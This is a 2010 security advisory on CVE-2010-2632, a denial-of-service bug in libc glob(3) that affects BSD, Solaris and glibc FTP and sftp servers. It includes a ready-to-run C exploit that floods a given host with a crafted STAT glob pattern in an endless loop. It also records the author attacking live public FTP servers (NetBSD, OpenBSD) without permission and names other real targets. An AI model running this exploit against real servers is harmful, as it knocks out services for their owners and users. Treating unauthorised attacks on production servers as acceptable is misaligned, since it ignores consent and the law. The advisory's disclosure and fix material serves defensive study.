Multiple Vendors libc/glob(3) Resource Exhaustion

`Source: http://securityreason.com/securityalert/7822  
  
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[ Multiple Vendors libc/glob(3) resource exhaustion (+0day remote  
ftpd-anon) ]  
  
Author: Maksymilian Arciemowicz  
http://netbsd.org/donations/  
http://securityreason.com/  
http://cxib.net/  
Date:  
- - Dis.: 06.11.2009  
- - Pub.: 07.10.2010  
  
CVE: CVE-2010-2632  
  
Affected Software (verified):  
- - OpenBSD 4.7  
- - NetBSD 5.0.2  
- - FreeBSD 7.3/8.1  
- - Oracle Sun Solaris 10  
- - GNU Libc (glibc)  
  
Affected Ftp Servers:  
- - ftp.openbsd.org (verified 02.07.2010: "connection refused" and ban)  
- - ftp.netbsd.org (verified 02.07.2010: "connection limit of 160 reached"  
and ban)  
- - ftp.freebsd.org  
- - ftp.adobe.com  
- - ftp.hp.com  
- - ftp.sun.com  
- - more more and more  
  
Affected Vendors (not verified):  
- - Apple  
- - Microsoft Interix  
- - HP  
- - more more more  
  
Original URL:  
http://securityreason.com/achievement_securityalert/89  
  
  
- --- 0.Description ---  
  
#include <glob.h>  
  
int glob(const char *pattern, int flags,  
int (*errfunc)(const char *epath, int eerrno), glob_t *pglob);  
  
Description  
  
This function expands a filename wildcard which is passed as pattern.  
  
GLOB_LIMIT Limit the amount of memory used by matches to  
ARG_MAX.  
This option should be set for programs that can be  
coerced to a denial of service attack via patterns  
that  
expand to a very large number of matches, such as a  
long  
string of */../*/..  
  
  
- --- 1. Multiple Vendors libc/glob(3) resource exhaustion ---  
As we can read in definition GLOB_LIMIT:  
  
- --  
Limit the amount of memory used by matches to ARG_MAX. This option should  
be set for programs that can be coerced to a denial of service attack via  
patterns that expand to a very large number of mat  
ches, such as a long string of */../*/..  
- ---  
  
but now is comming question "what will happen when we use */.. without  
matching any results (simple searching)?" GLOB_LIMIT will be not  
overflowed. To realize it, we need only use pattern with many  
*/.. and many inodes in current directory. On the end of pattern, we need  
add some not existed filename (like /cxib*).  
If we don't have many files or directories in attacked direcotry, we need  
create some dir-structure.  
  
Let's see again:  
http://cvsweb.netbsd.org/bsdweb.cgi/src/libexec/ftpd/ftpd.c?rev=1.61.2.5&co  
ntent-type=text/x-cvsweb-markup  
  
GLOB_LIMIT  
  
protect us before attacks like  
  
*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*  
  
because glob will find more patches as in GLOB_LIMIT declared. Anyway, if  
we use path what do not exists (with */.. strings) like  
  
*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*blablahaha  
  
GLOB_LIMIT will be never overflowed. Many combinations of paths, will  
execute this proces a long time. We can also try allocate  
(GLOB_LIMIT-1)*MAXPATHNAMELEN bytes per one process. ~200~300MB  
  
Example:  
> telnet ftp.netbsd.org 21  
Trying 204.152.190.15...  
Connected to ftp.netbsd.org.  
Escape character is '^]'.  
220 ftp.NetBSD.org FTP server (NetBSD-ftpd 20100320) ready.  
user anonymous  
331 Guest login ok, type your name as password.  
pass anon@cxib  
230-  
The NetBSD Project FTP Server located in Redwood City, CA, USA  
...  
230-  
EXPORT NOTICE  
  
...  
230 Guest login ok, access restrictions apply.  
stat  
{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}  
/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx  
  
  
this request will generate 100% usage of process a long time. ftpd come  
into glob(3) and will not fast out. Very similar sympthon was described in  
vulnerability for glibc strfmon(3)  
  
- - http://securityreason.com/achievement_securityalert/67 --  
...  
Interesting is that the PHP memory_limit has no control over what will  
happens in the level of the libc. Function strfmon(3) can allocate a lot  
of  
data in memory without control by PHP memory_limit.  
  
For example:  
php -r 'money_format("%.1343741821i",1);'  
  
will allocate ~1049MB real memory.  
memory_limit can be less that 1049M  
...  
- - http://securityreason.com/achievement_securityalert/67 --  
  
ftpd also dosen't control what will happen in libc.  
  
so it is enough to send  
- ---  
USER anonymous  
PASS  
STAT */..[calculated pattern]  
- ---  
  
and disconnect to connect again (bypass firewall limits). In php we can  
also bypass max_memory_limit by libc vulns.  
  
Attacking machine in this way, we can call the various side effects.  
  
- -kernel panic in netbsd502---  
Jul 5 10:18:13 dhclient: DHCPACK from 192.168.92.254  
Jul 5 10:18:14 dhclient: bound to 192.168.92.171 -- renewal in 886  
seconds.  
Jul 5 10:22:43 syslogd: restart  
Jul 5 10:22:43 /netbsd: uvm_fault(0xcc2eb35c, 0, 2) -> 0xe  
Jul 5 10:22:43 /netbsd: fatal page fault in supervisor mode  
Jul 5 10:22:43 /netbsd: trap type 6 code 2 eip c07d9784 cs 8 eflags 10206  
cr2 0 ilevel 0  
Jul 5 10:22:43 /netbsd: panic: trap  
Jul 5 10:22:43 /netbsd: Begin traceback...  
Jul 5 10:22:43 /netbsd: End traceback...  
Jul 5 10:22:43 /netbsd:  
Jul 5 10:22:43 /netbsd: dumping to dev 0,1 offset 8  
Jul 5 10:22:43 /netbsd: dump succeeded  
Jul 5 10:22:43 /netbsd:  
Jul 5 10:22:43 /netbsd:  
Jul 5 10:22:43 /netbsd: rebooting...  
Jul 5 10:22:43 /netbsd: Copyright (c) 1996, 1997, 1998, 1999, 2000, 2001,  
2002, 2003, 2004, 2005,  
- -kernel panic in netbsd502---  
  
- -crash in openbsd47---  
# ls  
Segmentation fault (core dumped)  
  
or ftpd.core  
  
# gdb -q /usr/libexec/ftpd ftpd.core  
(no debugging symbols found)  
Core was generated by `ftpd'.  
Program terminated with signal 11, Segmentation fault.  
#0 0x0a77facb in ?? ()  
(gdb) i r  
eax 0xffffffff -1  
ecx 0x6 6  
edx 0x0 0  
ebx 0x18 24  
esp 0xcfbc1e70 0xcfbc1e70  
ebp 0xcfbc1ea8 0xcfbc1ea8  
esi 0x0 0  
edi 0x81f78100 -2114486016  
eip 0xa77facb 0xa77facb  
eflags 0x10206 66054  
cs 0x2b 43  
ss 0x33 51  
ds 0x33 51  
es 0x33 51  
fs 0x33 51  
gs 0x33 51  
(gdb) bt  
#0 0x0a77facb in ?? ()  
Cannot access memory at address 0xcfbc1e70  
- -crash in openbsd47---  
  
Presented issue in localized libc, not in ftpd. Try use  
{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}  
/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx  
  
in ksh, openssh (sftp-server). sftp is also vulnerable. but they will kill  
children process after disconnect.  
  
"What is wrong?",  
  
libc has no control over the computing power glob(3), good fix for this  
issue, should control, how many times glob(3) will call to  
*readdirfunc(),stat(2) and reducing memory usage.  
  
- -glob.c---  
...  
static int  
glob3(Char *pathbuf, Char *pathend, Char *pathlim, Char *pattern,  
Char *restpattern, glob_t *pglob, size_t *limit)  
{  
struct dirent *dp;  
DIR *dirp;  
int error;  
char buf[MAXPATHLEN];  
  
/*  
* The readdirfunc declaration can't be prototyped, because it is  
* assigned, below, to two functions which are prototyped in  
glob.h  
* and dirent.h as taking pointers to differently typed opaque  
* structures.  
*/  
struct dirent *(*readdirfunc)(void *);  
...  
/*  
* Loop over pattern segments until end of pattern or until  
* segment with meta character found.  
*/  
for (anymeta = 0;;) {  
if (*pattern == EOS) { /* End of pattern? */  
*pathend = EOS;  
if (g_lstat(pathbuf, &sb, pglob)) <========= LIMIT  
THIS CALL ===  
return 0;  
  
if (((pglob->gl_flags & GLOB_MARK) &&  
...  
  
if ((dirp = g_opendir(pathbuf, pglob)) == NULL) {  
if (pglob->gl_errfunc) {  
...  
/* Search directory for matching names. */  
if (pglob->gl_flags & GLOB_ALTDIRFUNC)  
readdirfunc = pglob->gl_readdir;  
else  
readdirfunc = (struct dirent *(*)__P((void *))) readdir;  
while ((dp = (*readdirfunc)(dirp)) != NULL) { <============= LIMIT  
THIS CALL ===  
...  
- -glob.c---  
  
As we can see, glob3() will call to (*readdirfunc)() and back to glob2().  
glob2() will come again in glob3()... we need try control, how many times  
glob will call to (*readdirfunc)() and stat().  
Fix created together with NetBSD devs, should fix this problem.  
  
  
- --- 2. 0day PoC ---  
To sucessfully attack, we need calculate pattern. I am not going show, how  
to optimal calulate pattern.  
With similar PoC we can try attack ftp.adobe.com, ftp.openbsd.org etc.  
  
0day remote ftpd Denial-of-Service:  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <netdb.h>  
  
/*  
PoC for multiple vendors ftpd (libc/glob) resource exhaustion [CVE-2010-2632]  
  
Affected Software (verified):  
- OpenBSD 4.7  
- NetBSD 5.0.2  
- FreeBSD 7.3/8.1  
- Oracle Sun Solaris 10  
  
Affected Vendors (not verified):  
- GNU Libc (glibc)  
- Apple  
- Microsoft  
- HP  
- more  
  
Credit:  
Maksymilian Arciemowicz  
cxib I securityreason J com  
  
Note:  
With similar script in php writed (this same pattern), we have attacked OpenBSD/NetBSD servers with result:  
  
- ftp.openbsd.org:  
Connection refused  
  
and in the end of attack  
  
# telnet ftp.openbsd.org 21  
Trying 129.128.5.191...  
Connected to ftp.openbsd.org.  
Escape character is '^]'.  
421- If you are seeing this message you have been blocked from using  
421- this ftp server - most likely for mirroring content without paying  
421- attention to what you were mirroring or where you should be mirroring  
421- it from, or for excessive connection rates.  
421- OpenBSD should *NOT* be mirrored from here, you should use  
421- a second level mirror as described in http://www.openbsd.org/ftp.html  
421  
  
Connection closed by foreign host.  
#  
  
-ftp.netbsd.org:  
no more access for anonymous =>  
---  
On 02.07.2010 20:29 CET, ftp.netbsd.org has return:  
530 User ftp access denied, connection limit of 160 reached.  
---  
  
and in the end, deny for my host.  
  
*/  
  
int sendftp(int stream,char *what){  
if(-1==send(stream,what,strlen(what),0))  
printf("Can't send %s\n",what);  
else  
printf("send: %s\n",what);  
  
bzero(what,sizeof(what));  
}  
  
void readftp(int stream,int len){  
char readline[len];  
if(recv(stream,readline,len,0)<1)  
printf("Can't read from stream\n");  
else  
printf("recv: %s\n",readline);  
}  
  
  
int sendstat(host,port,login,pass,pattern)  
char *host,*port,*login,*pass,*pattern;  
{  
char buffer[1024]; // send ftp command buffor  
int sockfd,n,error;  
struct addrinfo hints;  
struct addrinfo *res, *res0;  
  
memset(&hints, 0, sizeof(hints));  
hints.ai_family = PF_UNSPEC;  
hints.ai_socktype = SOCK_STREAM;  
error = getaddrinfo(host,port,&hints,&res0);  
  
if (error){  
errorcon:  
printf("Can`t connect\n.exit");  
exit(1);  
}  
  
if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0) goto errorcon;  
if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;  
  
readftp(sockfd,1024);  
snprintf(buffer,1024,"USER %s\nPASS %s\n\n",login,pass);  
sendftp(sockfd,buffer);  
readftp(sockfd,1024);  
  
bzero(buffer,1024);  
snprintf(buffer,1024,"stat %s\n",pattern);  
sendftp(sockfd,buffer);  
freeaddrinfo(res0);  
}  
  
int main(int argc,char *argv[])  
{  
char  
pattern[1024]="{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx"; // some servers support only 1024  
char *login,*pass;  
char logindef[]="anonymous",passdef[]="[email protected]";  
  
printf("This is exploit for CVE-2010-2632 (libc/glob)\nby Maksymilian Arciemowicz\n\n");  
  
if(argc<3){  
printf("Use: ./exploit host port [username] [password]\nhost and port are requied\n");  
exit(1);  
}  
  
char *host=argv[1];  
char *port=argv[2];  
  
if(4<=argc) login=argv[3];  
else login=logindef;  
  
if(5<=argc) pass=argv[4];  
else pass=passdef;  
  
while(1){  
printf("----------------------------- next\n");  
sendstat(host,port,login,pass,pattern);  
sleep(3); // some delay to be sure  
}  
return 0; // never happen  
}  
  
  
- --- 3. Fix ---  
Oracle 25.09.2010 CET: Being fixed in main codeline  
  
Very thanks for NetBSD project and help NetBSD project like they help you  
in fixing this issue  
  
http://netbsd.org/donations/  
  
Fix libc/glob.c for netbsd-4,netbsd-5 branches:  
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/gen/glob.c#rev1  
.18.10.1  
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/gen/glob.3#rev1  
.30.12.1  
  
Fix for openssh (sftp):  
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/crypto/dist/ssh/Attic/sf  
tp.c#rev1.21.6.1  
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/crypto/dist/ssh/Attic/sf  
tp-glob.c#rev1.13.12.1  
  
http://netbsd.org/donations/  
http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2010-008.txt.  
asc  
  
  
- --- 4. Greets ---  
Special thanks for Christos Zoulas  
  
sp3x, Infospec, Adam Zabrocki 'pi3'  
  
  
- --- 5. Contact ---  
Author: SecurityReason.com [ Maksymilian Arciemowicz ]  
  
Email:  
- - cxib {a\./t] securityreason [d=t} com  
  
GPG:  
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg  
  
http://netbsd.org/donations/  
http://securityreason.com/  
http://cxib.net/  
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